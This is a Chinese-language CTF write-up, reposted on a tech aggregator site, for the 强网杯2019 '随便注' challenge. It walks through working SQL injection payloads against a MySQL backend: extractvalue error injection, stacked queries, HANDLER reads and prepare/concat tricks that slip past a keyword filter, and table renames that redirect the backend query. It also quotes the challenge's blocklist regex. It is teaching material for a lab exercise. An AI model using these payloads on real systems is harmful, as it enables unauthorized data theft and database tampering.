IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> [强网杯2019]随便注(初学者看过来) -> 正文阅读

[大数据][强网杯2019]随便注(初学者看过来)

这是一道web方向的sql注入的题目,通过借鉴各位大佬的博客,我给大家分享我学到的几种方法。

查询 “1” 的时候,会有回显

?使用单引号闭合,尝试 “1' and 1 = 2#” (#会将后面的语句注释掉)? , 发现无回显

?仅使用单引号注入发现会报sql语法错误,但是发现有回显信息,这样我们就可以使用注入了

?第一种:extractvalue(报错注入)

在这里跟大家分享一下,报错注入的话有两种方法,一个是updatexml,另一个是extractvalue

注入的语法分别是? “updatexml(1, concat(0x7e,database(),0x7e),1)”???? 和?? “extractvalue(1,concat(0x7e,database())”????? (0x7e可以在mysql里被解读为符号"~",也可以直接用"~")

(我只是举个例子,具体的诸如内容要根据实际情况判定,也可以在另外学习其用法mysql对xml提供支持的两个函数extractvalue updatexml_我多么希望明天有太阳,来灼烧我腐烂的梦想-CSDN博客https://blog.csdn.net/airuozhaoyang/article/details/47036923

当我们直接尝试“ 1' and updatexml() ”时,会显示我们不能使用("/select|update|delete|drop|insert|where|\./i",$inject)这些语句来查询(为防止遗忘,我们可以讲这些记录在某个文档里)

于是我就采用了extractvalue

1' and extractvalue(1,concat(0x7e,database()))#

得到了数据库的名字“supersqli

?“select被过滤了,如何绕过呢?”

????????handler语法:让我们一行一行浏览一个表的数据(mysql的专用语句,其他sql语言无)??????????? 可以在下面这个链接里学一下mysql查询语句-handler_jesseyoung-CSDN博客https://blog.csdn.net/JesseYoung/article/details/40785137例:

handler users open as hd;#载入指定的数据表“users”并返回句柄“hd”
handler hd read first;#读取数据表首行
handler hd read next;#读取下一行
handler hd close;#关闭句柄

这样的话,我们就能进行下一步的题,这里我用的是“ show tables ”显示数据库里面数据表的名字。如果直接使用

1'; use supersqli;show tables;#

查询,查询之后我们会得到如下结果,两个table

接下来我们要做的是什么呢?就是查看这些表里面的字段,于是我就尝试了

1';show columns from `1919810931114514` ;#

注意这里使用sql语句查询数据表时,要使用返单引号“ ` ”。这里我们就很高兴啊,得到了一个名字为“flag”的column;

?于是我直接用刚才提到的handler语句

1';use supersqli;handler `1919810931114514` open;handler `1919810931114514` read first;#

?直接得出我们的flag

?第二种:rename 字段

第一种方法我们主要是用handler绕过了select的过滤。

跟刚才一样,我们还有一个数据表的名字叫“words”;于是

1';show columns from `words`;#

萌生一种大胆的想法,后端执行的语句为

select * from words where id = '$id';

?我们就可以把表“words”改名为其他的,而将“1919810931114514”改名为“words”,这样就能让那个后台直接从表“1919810931114514”里查询;于是乎

1';
rename table `words` to `words1`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;#

成功rename之后,我便可以直接只用单引号闭合的方法直接查取到flag

1' or 1=1#

?

第三种方法:mysql的预处理与字符串拼接

先了解一下知识MySQL的SQL预处理(Prepared) - GeaoZhang - 博客园icon-default.png?t=LA92https://www.cnblogs.com/geaozhang/p/9891338.html还是前面的我们已经知道数据表“1919810931114514”里已经有了flag字段,为了绕过select我选择这样注入

1';prepare s from concat('s','elect','*from `1919810931114514`');
execute s;#

就能得到flag

其实还有第四种方法可以绕过select;就是“table”语句,直接table + 表名MySQL8.0 新增 DML 语句(TABLE & VALUES) - 技术分享 - 新闻资讯 - 爱可生icon-default.png?t=LA92https://www.actionsky.com/2777.html但是在这道题里好像用不了,要求是MySQL8.0以上的版本。

以上就是给大家分享的全部内容了,主要是师从于大佬Y1ng,如果有什么问题希望可以与大家一起讨论,一起进步!!

颖奇L'Amore – WEB SECURITYicon-default.png?t=LA92https://www.gem-love.com/

?

?

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-11-16 18:54:27  更:2021-11-16 18:54:51 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 5:49:16-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码